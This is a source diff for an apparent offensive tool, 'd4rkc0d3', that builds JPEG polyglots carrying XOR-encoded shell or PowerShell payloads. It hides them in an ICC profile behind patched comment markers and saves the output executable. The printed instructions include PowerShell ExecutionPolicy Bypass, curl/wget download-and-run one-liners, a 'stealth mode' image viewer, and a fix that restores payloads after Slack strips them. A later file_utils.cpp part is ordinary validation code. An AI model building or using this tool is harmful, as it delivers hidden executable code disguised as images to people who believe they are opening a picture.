+        0x62, 0x54, 0x52, 0x43, 0x00, 0x00, 0x01, 0x5C, 0x00, 0x00, 0x00, 0x34, 0x63, 0x70, 0x72, 0x74, 0x00, 0x00, 0x01, 0x90, 0x00, 0x00, 0x00, 0x01, 0x64, 0x65,
+        0x73, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x73, 0x52, 0x47, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x58, 0x59, 0x5A, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF3, 0x54, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x16, 0xC9, 0x58, 0x59, 0x5A, 0x20, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x6F, 0xA0, 0x00, 0x00, 0x38, 0xF2, 0x00, 0x00, 0x03, 0x8F, 0x58, 0x59, 0x5A, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x96,
+        0x00, 0x00, 0xB7, 0x89, 0x00, 0x00, 0x18, 0xDA, 0x58, 0x59, 0x5A, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xA0, 0x00, 0x00, 0x0F, 0x85, 0x00, 0x00,
+        0xB6, 0xC4, 0x63, 0x75, 0x72, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x01, 0x07, 0x02, 0xB5, 0x05, 0x6B, 0x09, 0x36, 0x0E, 0x50,
+        0x14, 0xB1, 0x1C, 0x80, 0x25, 0xC8, 0x30, 0xA1, 0x3D, 0x19, 0x4B, 0x40, 0x5B, 0x27, 0x6C, 0xDB, 0x80, 0x6B, 0x95, 0xE3, 0xAD, 0x50, 0xC6, 0xC2, 0xE2, 0x31,
+        0xFF, 0xFF, 0x23, 0x3E, 0x0D, 0x0A, 0x3C, 0x23, 0x0D, 0x0A
+    });
+
+    [[nodiscard]] std::string randomOutputSuffix(std::random_device& rd) {
+        constexpr std::uint64_t OUTPUT_SUFFIX_MASK = (std::uint64_t{1} << 52) - 1;
+        std::uniform_int_distribution<std::uint64_t> dist(0, OUTPUT_SUFFIX_MASK);
+        return std::format("{:013x}", dist(rd));
+    }
+
+    void unlinkOutputFileBestEffort(const std::string& output_filename) noexcept {
+        constexpr int MAX_UNLINK_RETRIES = 16;
+        for (int attempt = 0; attempt < MAX_UNLINK_RETRIES; ++attempt) {
+            if (::unlink(output_filename.c_str()) == 0 || errno != EINTR) {
+                return;
+            }
+        }
+    }
+
+    [[noreturn]] void unlinkAndThrow(const std::string& output_filename, std::string_view message) {
+        unlinkOutputFileBestEffort(output_filename);
+        throw std::runtime_error(std::string(message));
+    }
+
+    [[noreturn]] void unlinkAndThrow(const std::string& output_filename, std::string_view prefix, int error_code) {
+        unlinkOutputFileBestEffort(output_filename);
+        throw std::runtime_error(std::format("{}: {}", prefix, std::system_category().message(error_code)));
+    }
+
+    void writeOutputBytes(const std::string& output_filename, int fd, std::span<const Byte> bytes) {
+        while (!bytes.empty()) {
+            const auto chunk_size = std::min<std::size_t>(bytes.size(), static_cast<std::size_t>(std::numeric_limits<ssize_t>::max()));
+            const auto bytes_written = ::write(fd, bytes.data(), chunk_size);
+
+            if (bytes_written > 0) {
+                bytes = bytes.subspan(static_cast<std::size_t>(bytes_written));
+                continue;
+            }
+            if (bytes_written == 0) {
+                unlinkAndThrow(output_filename, "Write Error: Failed to write complete output file.");
+            }
+            if (errno != EINTR) {
+                unlinkAndThrow(output_filename, "Write Error: Failed to write output file", errno);
+            }
+        }
+    }
+
+    [[nodiscard]] bool startsWith(std::span<const Byte> bytes, std::span<const Byte> prefix) {
+        return bytes.size() >= prefix.size() &&
+            std::ranges::equal(bytes.first(prefix.size()), prefix);
+    }
+
+    void rejectUnsupportedTextEncoding(std::span<const Byte> bytes) {
+        constexpr auto UTF32_LE_BOM = std::to_array<Byte>({ 0xFF, 0xFE, 0x00, 0x00 });
+        constexpr auto UTF32_BE_BOM = std::to_array<Byte>({ 0x00, 0x00, 0xFE, 0xFF });
+        constexpr auto UTF16_LE_BOM = std::to_array<Byte>({ 0xFF, 0xFE });
+        constexpr auto UTF16_BE_BOM = std::to_array<Byte>({ 0xFE, 0xFF });
+
+        const std::span<const Byte> view(bytes);
+        if (startsWith(view, UTF32_LE_BOM) || startsWith(view, UTF32_BE_BOM)) {
+            throw std::runtime_error(
+                "Script File Error: Script is UTF-32 encoded. "
+                "Re-save the script as UTF-8 (with or without BOM).");
+        }
+        if (startsWith(view, UTF16_LE_BOM) || startsWith(view, UTF16_BE_BOM)) {
+            throw std::runtime_error(
+                "Script File Error: Script is UTF-16 encoded. "
+                "Re-save the script as UTF-8 (with or without BOM).");
+        }
+    }
+
+    void stripUtf8Bom(vBytes& bytes) {
+        constexpr auto BOM_SIG = std::to_array<Byte>({ 0xEF, 0xBB, 0xBF });
+
+        if (bytes.size() >= BOM_SIG.size() &&
+            std::ranges::equal(std::span<const Byte>(bytes).first(BOM_SIG.size()), BOM_SIG)) {
+            bytes.erase(bytes.begin(), bytes.begin() + static_cast<std::ptrdiff_t>(BOM_SIG.size()));
+        }
+    }
+
+    struct ProfileSizes {
+        std::size_t segment_size = 0;
+        std::size_t profile_size = 0;
+    };
+
+    [[nodiscard]] ProfileSizes calculateProfileSizes(std::size_t profile_byte_count) {
+        const std::size_t segment_size = checkedSub(
+            checkedAdd(profile_byte_count, JFIF_SIG_LENGTH, "Profile segment"),
+            SEGMENT_SIZE_FIELD_INDEX,
+            "Profile segment");
+
+        return ProfileSizes{
+            .segment_size = segment_size,
+            .profile_size = checkedSub(segment_size, 16, "ICC profile")
+        };
+    }
+
+    void validateProfileSizes(const ProfileSizes& sizes, std::size_t max_segment_size) {
+        if (sizes.segment_size > max_segment_size) {
+            throw std::runtime_error(std::format(
+                "Segment Size Error: The profile segment (FFE2) exceeds the maximum size limit of {}KB.",
+                max_segment_size / 1024));
+        }
+
+        if (sizes.segment_size > std::numeric_limits<uint16_t>::max()) {
+            throw std::runtime_error("Segment Size Error: Segment size exceeds 16-bit field capacity.");
+        }
+    }
+
+    [[nodiscard]] vBytes buildProfilePayload(std::span<const Byte> script_bytes, std::size_t max_segment_size, std::span<const Byte> xor_key = {}) {
+        constexpr std::size_t MIN_SCRIPT_PAYLOAD_SIZE = 4;
+        if (script_bytes.size() < MIN_SCRIPT_PAYLOAD_SIZE) {
+            throw std::runtime_error("Payload Error: Generated script is below minimum size.");
+        }
+
+        static_assert(ICC_PROFILE_TEMPLATE.size() >= PWSH_INSERT_INDEX);
+        static_assert(ICC_PROFILE_TEMPLATE.size() > ICC_KEY_OFFSET + XOR_KEY_LENGTH);
+
+        vBytes profile_vec(ICC_PROFILE_TEMPLATE.begin(), ICC_PROFILE_TEMPLATE.end());
+
+        if (!xor_key.empty()) {
+            std::ranges::copy(xor_key.first(XOR_KEY_LENGTH),
+                              profile_vec.begin() + ICC_KEY_OFFSET);
+        }
+
+        profile_vec.reserve(checkedAdd(profile_vec.size(), script_bytes.size(), "ICC profile"));
+        profile_vec.insert(profile_vec.end() - PWSH_INSERT_INDEX, script_bytes.begin(), script_bytes.end());
+
+        const ProfileSizes sizes = calculateProfileSizes(profile_vec.size());
+        validateProfileSizes(sizes, max_segment_size);
+
+        constexpr std::size_t PROFILE_SEGMENT_SIZE_FIELD = SEGMENT_SIZE_FIELD_INDEX - JFIF_SIG_LENGTH;
+        constexpr std::size_t PROFILE_PROFILE_SIZE_FIELD = PROFILE_SIZE_FIELD_INDEX - JFIF_SIG_LENGTH;
+        writeBigEndian(profile_vec, PROFILE_SEGMENT_SIZE_FIELD, sizes.segment_size, 2);
+        writeBigEndian(profile_vec, PROFILE_PROFILE_SIZE_FIELD, sizes.profile_size, 4);
+
+        return profile_vec;
+    }
+
+    [[nodiscard]] constexpr auto makeDefaultTailBytes() {
+        return std::to_array<Byte>({
+            0x9e, 0x23, 0x3e, 0x0d, 0x23, 0x00, 0x00, 0x20, 0x20, 0x00
+        });
+    }
+
+    [[nodiscard]] constexpr auto makeAltTailBytes() {
+        return std::to_array<Byte>({
+            0x00, 0x20, 0x20, 0x00, 0x00, 0x23, 0x3E, 0x0D, 0x23, 0x9e
+        });
+    }
+
+    void patchImageTail(vBytes& image_file_vec, Option option) {
+        constexpr auto DEFAULT_BYTES = makeDefaultTailBytes();
+        constexpr auto ALT_BYTES = makeAltTailBytes();
+
+        constexpr std::size_t TAIL_OFFSET = 2;
+
+        const std::span<const Byte> tail_bytes = [&] {
+            switch (option) {
+                case Option::Alt:
+                    return std::span<const Byte>(ALT_BYTES);
+                case Option::None:
+                    return std::span<const Byte>(DEFAULT_BYTES);
+            }
+            throw std::runtime_error("Internal Error: Unknown tail patch option.");
+        }();
+
+        if (image_file_vec.size() < JFIF_SIG_LENGTH ||
+            image_file_vec.size() < tail_bytes.size() + TAIL_OFFSET) {
+            throw std::runtime_error("Image File Error: Image too small after processing to apply tail patch.");
+        }
+
+        std::ranges::reverse_copy(tail_bytes, image_file_vec.rbegin() + TAIL_OFFSET);
+    }
+
+    // Overwrites 6 bytes at offset 0x0C in the APP0 with "XTW\n<#".
+    // The \n puts "<#" on its own line, opening a PS block comment that hides
+    // all JPEG binary data until the "#>" inside the ICC APP2 profile.
+    void writeJfifCommentBlock(vBytes& image_file_vec) {
+        constexpr auto JFIF_COMMENT_BLOCK = std::to_array<Byte>({
+            0x58, 0x54, 0x57, 0x0A, 0x3C, 0x23
+        });
+
+        if (image_file_vec.size() < JFIF_COMMENT_BLOCK_INDEX + JFIF_COMMENT_BLOCK.size()) {
+            throw std::runtime_error("Image File Error: Image too small to write JFIF comment block.");
+        }
+
+        std::ranges::copy(JFIF_COMMENT_BLOCK,
+                          image_file_vec.begin() + static_cast<std::ptrdiff_t>(JFIF_COMMENT_BLOCK_INDEX));
+    }
+
+    [[nodiscard]] std::string writeOutputFile(std::span<const Byte> bytes, std::string_view custom_name = {}) {
+        constexpr mode_t OUTPUT_MODE = S_IRUSR | S_IWUSR | S_IXUSR;
+        constexpr int OUTPUT_FLAGS = O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW;
+        constexpr int MAX_OUTPUT_ATTEMPTS = 64;
+
+        if (bytes.empty()) {
+            throw std::runtime_error("Image File Error: Output image is empty.");
+        }
+
+        if (!custom_name.empty()) {
+            std::string output_filename(custom_name);
+            UniqueFd output_fd(::open(output_filename.c_str(), OUTPUT_FLAGS, OUTPUT_MODE));
+
+            if (output_fd.get() < 0) {
+                if (errno == EEXIST) {
+                    throw std::runtime_error(std::format("Write Error: File \"{}\" already exists.", output_filename));
+                }
+                throw std::runtime_error(std::format("Write Error: Unable to create \"{}\": {}", output_filename, std::system_category().message(errno)));
+            }
+
+            writeOutputBytes(output_filename, output_fd.get(), bytes);
+
+            const int raw_fd = output_fd.release();
+            if (::close(raw_fd) != 0) {
+                unlinkAndThrow(output_filename, "Write Error: Failed to close output file", errno);
+            }
+
+            {
+                UniqueFd sync_fd(::open(output_filename.c_str(), O_RDONLY | O_CLOEXEC));
+                if (sync_fd.get() >= 0) {
+                    ::fsync(sync_fd.get());
+                }
+            }
+
+            return output_filename;
+        }
+
+        std::random_device rd;
+
+        for (int attempt = 0; attempt < MAX_OUTPUT_ATTEMPTS; ++attempt) {
+            std::string output_filename = std::format("d4rc0d3_{}.jpg", randomOutputSuffix(rd));
+            UniqueFd output_fd(::open(output_filename.c_str(), OUTPUT_FLAGS, OUTPUT_MODE));
+
+            if (output_fd.get() < 0) {
+                if (errno == EEXIST) {
+                    continue;
+                }
+                throw std::runtime_error(std::format("Write Error: Unable to create output file: {}", std::system_category().message(errno)));
+            }
+
+            writeOutputBytes(output_filename, output_fd.get(), bytes);
+
+            const int raw_fd = output_fd.release();
+            if (::close(raw_fd) != 0) {
+                unlinkAndThrow(output_filename, "Write Error: Failed to close output file", errno);
+            }
+
+            {
+                UniqueFd sync_fd(::open(output_filename.c_str(), O_RDONLY | O_CLOEXEC));
+                if (sync_fd.get() >= 0) {
+                    ::fsync(sync_fd.get());
+                }
+            }
+
+            return output_filename;
+        }
+
+        throw std::runtime_error("Write Error: Unable to create a unique output filename after multiple attempts.");
+    }
+
+    [[nodiscard]] vBytes buildPolyglotOutputBytes(
+        std::span<const Byte> image_file_vec,
+        std::span<const Byte> profile_vec,
+        std::span<const Byte> com_segment) {
+
+        constexpr std::size_t SOI_SIZE = 2;
+
+        if (image_file_vec.size() < JFIF_SIG_LENGTH) {
+            throw std::runtime_error("Image File Error: Image too small to write output.");
+        }
+
+        vBytes output_vec;
+        output_vec.reserve(checkedAdd(
+            checkedAdd(image_file_vec.size(), profile_vec.size(), "Output image"),
+            com_segment.size(), "Output image"));
+
+        // SOI + COM + APP0(patched) + ICC + rest
+        output_vec.insert(output_vec.end(),
+            image_file_vec.begin(),
+            image_file_vec.begin() + SOI_SIZE);
+
+        if (!com_segment.empty()) {
+            output_vec.insert(output_vec.end(), com_segment.begin(), com_segment.end());
+        }
+
+        output_vec.insert(output_vec.end(),
+            image_file_vec.begin() + SOI_SIZE,
+            image_file_vec.begin() + static_cast<std::ptrdiff_t>(JFIF_SIG_LENGTH));
+
+        output_vec.insert(output_vec.end(), profile_vec.begin(), profile_vec.end());
+
+        output_vec.insert(output_vec.end(),
+            image_file_vec.begin() + static_cast<std::ptrdiff_t>(JFIF_SIG_LENGTH),
+            image_file_vec.end());
+
+        return output_vec;
+    }
+
+    [[nodiscard]] bool containsTailCloseSequence(std::span<const Byte> bytes) {
+        constexpr auto TAIL_CLOSE_SIG = std::to_array<Byte>({ 0x23, 0x3E });
+        constexpr std::size_t TAIL_SEARCH_WINDOW = 256;
+
+        const std::span<const Byte> tail = bytes.size() > TAIL_SEARCH_WINDOW ?
+            bytes.last(TAIL_SEARCH_WINDOW) :
+            bytes;
+
+        return !std::ranges::search(tail, std::span<const Byte>(TAIL_CLOSE_SIG)).empty();
+    }
+
+    [[nodiscard]] vBytes buildTailStableOutput(
+        std::span<const Byte> compatible_image_file_vec,
+        std::span<const Byte> profile_vec,
+        std::span<const Byte> com_segment,
+        Option option,
+        bool& reencoded_for_tail_stability) {
+
+        constexpr int MAX_TAIL_STABILITY_RETRIES = 512;
+
+        for (int attempt = 0; attempt <= MAX_TAIL_STABILITY_RETRIES; ++attempt) {
+            vBytes candidate_image_file_vec;
+            if (attempt == 0) {
+                candidate_image_file_vec.assign(compatible_image_file_vec.begin(), compatible_image_file_vec.end());
+            }
+            else if (!makeTailRetryCandidate(compatible_image_file_vec, candidate_image_file_vec, attempt - 1)) {
+                break;
+            }
+
+            patchImageTail(candidate_image_file_vec, option);
+            writeJfifCommentBlock(candidate_image_file_vec);
+
+            vBytes output_vec = buildPolyglotOutputBytes(candidate_image_file_vec, profile_vec, com_segment);
+            if (!containsTailCloseSequence(output_vec)) {
+                throw std::runtime_error("Tail Patch Error: Expected close-comment sequence was not present in output tail.");
+            }
+            const JpegWarningSummary warnings = inspectJpegWarnings(output_vec);
+            if (!warnings.hasUnsafeTailWarning()) {
+                reencoded_for_tail_stability = attempt > 0;
+                return output_vec;
+            }
+
+            if (attempt == 0 && warnings.extraneous_data > 0) {
+                std::println("\nTail validation reported extraneous bytes before EOI; re-encoding cover image for a safer tail.\n");
+            }
+        }
+
+        throw std::runtime_error(
+            "Image Compatibility Error: Unable to produce a tail-stable output image. "
+            "Try another image or adjust JPEG quality/dimensions.");
+    }
+
+    [[nodiscard]] std::string_view payloadModeLabel(PayloadMode mode) {
+        switch (mode) {
+            case PayloadMode::DirectPwsh: return "PowerShell (direct)";
+            case PayloadMode::Script:     return "script (bootstrap)";
+            case PayloadMode::Binary:     return "binary (bootstrap)";
+            case PayloadMode::Command:    return "inline commands";
+        }
+        return "unknown";
+    }
+
+    void printExecutionInstructions(
+        const std::string& output_filename,
+        PayloadMode mode,
+        const BootstrapOptions& opts) {
+
+        const std::string f = output_filename;
+        const std::string ps1 = std::filesystem::path(f).stem().string() + ".ps1";
+
+        std::println("\n── Execution ──────────────────────────────────────────────");
+        std::println("  The .jpg is NOT modified or deleted. It stays as an image.");
+        if (opts.keep_extracted) {
+            std::println("  Extracted file will PERSIST after execution.");
+        } else {
+            std::println("  Only a temporary extracted file is created, used, and removed.");
+        }
+        if (!opts.extract_dir.empty()) {
+            std::println("  Extraction directory: {}", opts.extract_dir);
+        }
+        std::println("");
+
+        std::println("  Direct execution (Linux, Mac — file is already +x):");
+        std::println("    ./{}", f);
+        std::println("    sh {}   ← use this if file was shared via Slack/Discord", f);
+
+        if (mode == PayloadMode::DirectPwsh) {
+            std::println("    (requires pwsh installed)");
+        } else {
+            std::println("    (uses POSIX sh — no extra dependencies)");
+        }
+
+        if (opts.show_image) {
+            std::println("    → Image viewer will open automatically (stealth mode)");
+        }
+
+        std::println("");
+        std::println("  PowerShell (requires .ps1 extension):");
+        std::println("    cp {} {} && pwsh {}", f, ps1, ps1);
+        std::println("");
+        std::println("  Windows (cmd.exe):");
+        std::println("    ren {} {} & pwsh {}", f, ps1, ps1);
+        std::println("    powershell -ExecutionPolicy Bypass -File {}", ps1);
+
+        if (mode == PayloadMode::Script || mode == PayloadMode::Binary) {
+            std::println("");
+            std::println("  Suppress header noise:");
+            std::println("    ./{} 2>/dev/null", f);
+        }
+
+        std::println("");
+        std::println("  One-liner download + run:");
+        std::println("    curl -o i.jpg \"<URL>\" && sh i.jpg");
+        std::println("    wget -O i.jpg \"<URL>\" && sh i.jpg");
+        std::println("");
+        std::println("  If file was shared via Slack/Discord (Slack replaces APP0):");
+        if (mode == PayloadMode::Command) {
+            std::println("    sh {}                   ← payload survives (inline command)", f);
+        } else {
+            std::println("    ⚠ Script/binary payloads are REMOVED by Slack (post-EOI stripped).");
+            std::println("    Use -c 'commands' for Slack-compatible payloads.");
+        }
+        std::println("    d4rkc0d3 --fix-slack {} fixed.jpg && bash fixed.jpg", f);
+        std::println("──────────────────────────────────────────────────────────");
+    }
+}
+
+[[nodiscard]] static int fixSlack(int argc, char** argv) {
+    if (argc < 3) {
+        std::println(stderr, "Usage: {} --fix-slack <slack-file.jpg> [output.jpg]", argv[0]);
+        std::println(stderr, "");
+        std::println(stderr, "Patches a Slack-processed d4rkc0d3 polyglot to restore bash-executability.");
+        std::println(stderr, "Slack replaces the shell-safe APP0 with a standard JFIF APP0 containing");
+        std::println(stderr, "NUL bytes that cause bash to reject the file as binary.");
+        std::println(stderr, "");
+        std::println(stderr, "After fixing, execute with: ./<output.jpg> or bash <output.jpg>");
+        std::println(stderr, "");
+        std::println(stderr, "Note: script-mode payloads (.sh, .py, etc.) are REMOVED by Slack.");
+        std::println(stderr, "Only -c (inline command) payloads survive Slack processing.");
+        return 1;
+    }
+
+    const std::string input_path  = argv[2];
+    const std::string output_path = (argc >= 4) ? argv[3] : input_path + ".fixed.jpg";
+
+    std::ifstream in(input_path, std::ios::binary);
+    if (!in) {
+        std::println(stderr, "Error: cannot open '{}'", input_path);
+        return 1;
+    }
+    vBytes data((std::istreambuf_iterator<char>(in)), std::istreambuf_iterator<char>());
+    in.close();
+
+    if (data.size() < 20) {
+        std::println(stderr, "Error: file too small to be a JPEG");
+        return 1;
+    }
+
+    if (data[0] != 0xFF || data[1] != 0xD8) {
+        std::println(stderr, "Error: not a JPEG file (missing SOI)");
+        return 1;
+    }
+
+    std::size_t app0_pos = std::string::npos;
+    for (std::size_t i = 2; i + 3 < data.size(); ) {
+        if (data[i] != 0xFF) break;
+        const Byte marker = data[i + 1];
+        if (marker == 0xE0) {
+            app0_pos = i;
+            break;
+        }
+        if (i + 3 >= data.size()) break;
+        const std::size_t seg_len = (static_cast<std::size_t>(data[i + 2]) << 8) | data[i + 3];
+        if (seg_len < 2) break;
+        i += 2 + seg_len;
+    }
+
+    if (app0_pos == std::string::npos) {
+        std::println(stderr, "Error: no APP0 segment found — may not be a Slack-processed file");
+        return 1;
+    }
+
+    const std::size_t app0_len_field = (static_cast<std::size_t>(data[app0_pos + 2]) << 8)
+                                        | data[app0_pos + 3];
+    const std::size_t app0_end = app0_pos + 2 + app0_len_field;
+
+    if (app0_end > data.size()) {
+        std::println(stderr, "Error: APP0 segment extends beyond end of file");
+        return 1;
+    }
+
+    int nul_count = 0;
+    for (std::size_t i = app0_pos; i < app0_end; ++i)
+        if (data[i] == 0x00) ++nul_count;
+
+    if (nul_count == 0) {
+        std::println("APP0 has no NUL bytes — file may already be compatible with bash.");
+        std::println("Copying as-is to: {}", output_path);
+    } else {
+        std::println("APP0 at offset {}: {} bytes, {} NUL(s) found", app0_pos, app0_len_field, nul_count);
+        std::println("APP0 at offset {}: {} bytes, {} NUL(s) — patching...",
+                     app0_pos, app0_len_field, nul_count);
+        constexpr auto JFIF_COMMENT_BLOCK = std::to_array<Byte>({
+            0x58, 0x54, 0x57, 0x0A, 0x3C, 0x23
+        });
+        if (app0_pos + JFIF_COMMENT_BLOCK_INDEX + JFIF_COMMENT_BLOCK.size() <= data.size()) {
+            std::ranges::copy(JFIF_COMMENT_BLOCK,
+                              data.begin() + static_cast<std::ptrdiff_t>(
+                                  app0_pos + JFIF_COMMENT_BLOCK_INDEX - 2));
+        }
+        for (std::size_t i = app0_pos; i < app0_end; ++i) {
+            if (data[i] == 0x00) data[i] = 0x01;
+        }
+        std::println("Done.");
+    }
+
+    const auto first64_end = std::min(data.size(), std::size_t{64});
+    const int remaining_nuls = static_cast<int>(
+        std::count(data.begin(), data.begin() + static_cast<std::ptrdiff_t>(first64_end), Byte{0x00}));
+    if (remaining_nuls > 0) {
+        std::println("Warning: {} NUL(s) remain in first 64 bytes — bash may still reject file.", remaining_nuls);
+        std::println("Use 'sh <file>' or the one-liner instead:");
+        std::println("  grep -am1 '^#0:' {} | cut -c4- | base64 -d | sh -s {}", output_path, output_path);
+    } else {
+        std::println("No NUL bytes in first 64 bytes — bash-executable. ✓");
+    }
+
+    {
+        std::ofstream out(output_path, std::ios::binary);
+        if (!out) {
+            std::println(stderr, "Error: cannot write to '{}'", output_path);
+            return 1;
+        }
+        out.write(reinterpret_cast<const char*>(data.data()),
+                  static_cast<std::streamsize>(data.size()));
+    }
+    std::println("Saved: {} ({} bytes)", output_path, data.size());
+    std::println("");
+    std::println("Execute with:");
+    std::println("  chmod +x {} && ./{}", output_path, output_path);
+    std::println("  or: bash {}", output_path);
+
+    return 0;
+}
+
+int main(int argc, char** argv) {
+    if (argc >= 2 && std::string_view(argv[1]) == "--fix-slack") {
+        return fixSlack(argc, argv);
+    }
+
+    try {
+        auto args_opt = ProgramArgs::parse(argc, argv);
+        if (!args_opt) {
+            return 0;
+        }
+
+        const auto& args = *args_opt;
+
+        const BootstrapOptions boot_opts{
+            .keep_extracted = args.keep_extracted,
+            .show_image = args.show_image,
+            .sequential = args.sequential,
+            .extract_dir = args.extract_dir
+        };
+
+        vBytes image_file_vec = readFile(args.image_file_path, FileTypeCheck::cover_image);
+
+        vBytes xor_key = generateXorKey(XOR_KEY_LENGTH);
+
+        vBytes script_bytes;
+        vBytes payload_for_eoi;
+
+        if (args.payload_mode == PayloadMode::Command) {
+            script_bytes = generateBootstrap(
+                PayloadMode::Command, {}, {}, args.inline_commands, boot_opts, xor_key);
+            std::println("\nPayload mode: inline commands ({} bytes)", args.inline_commands.size());
+
+        } else if (args.payload_mode == PayloadMode::DirectPwsh) {
+            vBytes payload_vec = readFile(args.payload_file_path, FileTypeCheck::script_file);
+            rejectUnsupportedTextEncoding(payload_vec);
+            stripUtf8Bom(payload_vec);
+            script_bytes = generateBootstrap(
+                PayloadMode::DirectPwsh, payload_vec, args.payload_file_path, "", boot_opts, xor_key);
+            std::println("\nPayload mode: {} ({} bytes)",
+                payloadModeLabel(args.payload_mode), payload_vec.size());
+
+        } else {
+            vBytes payload_vec = readFile(
+                args.payload_file_path, FileTypeCheck::payload_file);
+
+            if (args.payload_mode == PayloadMode::Script) {
+                rejectUnsupportedTextEncoding(payload_vec);
+                stripUtf8Bom(payload_vec);
+            }
+
+            payload_for_eoi = std::move(payload_vec);
+
+            script_bytes = generateBootstrap(
+                args.payload_mode, payload_for_eoi, args.payload_file_path,
+                args.inline_commands, boot_opts, xor_key);
+            std::println("\nPayload mode: {} ({} bytes)",
+                payloadModeLabel(args.payload_mode), payload_for_eoi.size());
+            if (!args.inline_commands.empty()) {
+                std::println("Inline commands prepended: {}", args.inline_commands);
+            }
+        }
+
+        std::println("XOR encoding: active ({}-byte key)", XOR_KEY_LENGTH);
+
+        vBytes profile_vec = buildProfilePayload(script_bytes, MAX_PROFILE_SEGMENT, xor_key);
+
+        std::string shell_post_eoi;
+        vBytes com_segment = buildShellComSegment(args.payload_mode, args.payload_file_path, args.inline_commands, boot_opts, xor_key, &shell_post_eoi);
+
+        vBytes post_eoi_data = generatePostEoiPayload(payload_for_eoi, xor_key, shell_post_eoi);
+
+        const bool image_was_modified = ensureImageCompatible(image_file_vec);
+
+        if (image_was_modified) {
+            std::println("");
+        }
+
+        bool reencoded_for_tail_stability = false;
+        vBytes output_file_vec = buildTailStableOutput(image_file_vec, profile_vec, com_segment, args.option, reencoded_for_tail_stability);
+
+        if (!post_eoi_data.empty()) {
+            output_file_vec.insert(output_file_vec.end(), post_eoi_data.begin(), post_eoi_data.end());
+        }
+
+        const std::size_t total_output_size = output_file_vec.size();
+        const std::string output_filename = writeOutputFile(output_file_vec, args.output_filename);
+
+        std::println("\nSaved JPG polyglot image: {} ({} bytes).", output_filename, total_output_size);
+
+        if (reencoded_for_tail_stability) {
+            std::println("\nTail validation avoided an output with extraneous bytes before EOI.");
+        }
+
+        if (image_was_modified) {
+            std::println("\nComment-block close sequences successfully removed from image.");
+            std::println("\nPlease check to make sure size & quality of cover image is acceptable.");
+        }
+
+        printExecutionInstructions(output_filename, args.payload_mode, boot_opts);
+
+        std::println("\nComplete!\n");
+        return 0;
+    }
+    catch (const std::runtime_error& e) {
+        std::println(std::cerr, "\n{}\n", e.what());
+        return 1;
+    }
+    catch (const std::exception& e) {
+        std::println(std::cerr, "\nUnexpected error: {}\n", e.what());
+        return 1;
+    }
+}

src/file_utils.cpp

@@ -0,0 +1,299 @@
+#include "file_utils.h"
+
+// stb_image: single-header PNG/JPEG/BMP loader used for PNG→JPEG conversion.
+// STB_IMAGE_IMPLEMENTATION must be defined in exactly one .cpp file.
+#define STB_IMAGE_IMPLEMENTATION
+#define STBI_ONLY_PNG
+#define STBI_ONLY_JPEG
+#define STBI_NO_FAILURE_STRINGS
+#pragma GCC diagnostic push
+#pragma GCC diagnostic ignored "-Wconversion"
+#pragma GCC diagnostic ignored "-Wsign-conversion"
+#pragma GCC diagnostic ignored "-Wpedantic"
+#pragma GCC diagnostic ignored "-Wunused-function"
+#include "stb_image/include/stb_image.h"
+#pragma GCC diagnostic pop
+
+#include <turbojpeg.h>
+#include <algorithm>
+#include <cerrno>
+#include <cctype>
+#include <format>
+#include <fcntl.h>
+#include <initializer_list>
+#include <limits>
+#include <span>
+#include <stdexcept>
+#include <string>
+#include <string_view>
+#include <sys/stat.h>
+#include <system_error>
+
+namespace fs = std::filesystem;
+
+namespace {
+    constexpr std::size_t MIN_COVER_IMAGE_FILE_SIZE = 134;
+    constexpr std::size_t MAX_COVER_IMAGE_FILE_SIZE = 5 * 1024 * 1024;
+    constexpr std::size_t MIN_SCRIPT_FILE_SIZE = 10;
+    constexpr std::size_t MIN_PAYLOAD_FILE_SIZE = 1;
+
+    [[noreturn]] void throwPathError(std::string_view action, const fs::path& path, int error_code) {
+        throw std::runtime_error(std::format("{}: {} ({})", action, path.string(), std::system_category().message(error_code)));
+    }
+
+    struct OpenFileResult {
+        UniqueFd fd;
+        struct stat status{};
+    };
+
+    [[nodiscard]] bool hasValidFilename(const fs::path& p) {
+        const std::string filename = p.filename().string();
+        if (filename.empty()) {
+            return false;
+        }
+        return std::ranges::all_of(filename, [](unsigned char c) {
+            return std::isalnum(c) || c == '.' || c == '-' || c == '_' || c == '@' || c == '%';
+        });
+    }
+
+    [[nodiscard]] bool hasFileExtension(const fs::path& p, std::initializer_list<std::string_view> exts) {
+        const std::string ext = p.extension().string();
+        const auto ieq = [](char a, char b) {
+            return std::tolower(static_cast<unsigned char>(a)) == std::tolower(static_cast<unsigned char>(b));
+        };
+        return std::ranges::any_of(exts, [&](std::string_view expected) {
+            return ext.size() == expected.size() &&
+                   std::ranges::equal(ext, expected, ieq);
+        });
+    }
+
+    void validateCoverImageFile(const fs::path& path, std::size_t file_size) {
+        if (!hasFileExtension(path, {".jpg", ".jpeg", ".jfif", ".png"})) {
+            throw std::runtime_error("File Type Error: Invalid image extension. Expecting \".jpg\", \".jpeg\", \".jfif\", or \".png\".");
+        }
+        if (file_size < MIN_COVER_IMAGE_FILE_SIZE) {
+            throw std::runtime_error("File Error: Invalid image file size.");
+        }
+        if (file_size > MAX_COVER_IMAGE_FILE_SIZE) {
+            throw std::runtime_error("Image File Error: Cover image file exceeds maximum size limit.");
+        }
+    }
+
+    void validateScriptFile(const fs::path& path, std::size_t file_size) {
+        if (!hasFileExtension(path, {".ps1"})) {
+            throw std::runtime_error("File Type Error: Invalid script extension. Only expecting \".ps1\".");
+        }
+        if (file_size < MIN_SCRIPT_FILE_SIZE) {
+            throw std::runtime_error("Script File Error: PowerShell script is below minimum size.");
+        }
+    }
+
+    void validatePayloadFile(const fs::path& path, std::size_t file_size) {
+        if (!path.has_extension()) {
+            throw std::runtime_error("File Type Error: Payload file must have an extension.");
+        }
+        if (file_size < MIN_PAYLOAD_FILE_SIZE) {
+            throw std::runtime_error("Payload File Error: Payload file is empty.");
+        }
+    }
+
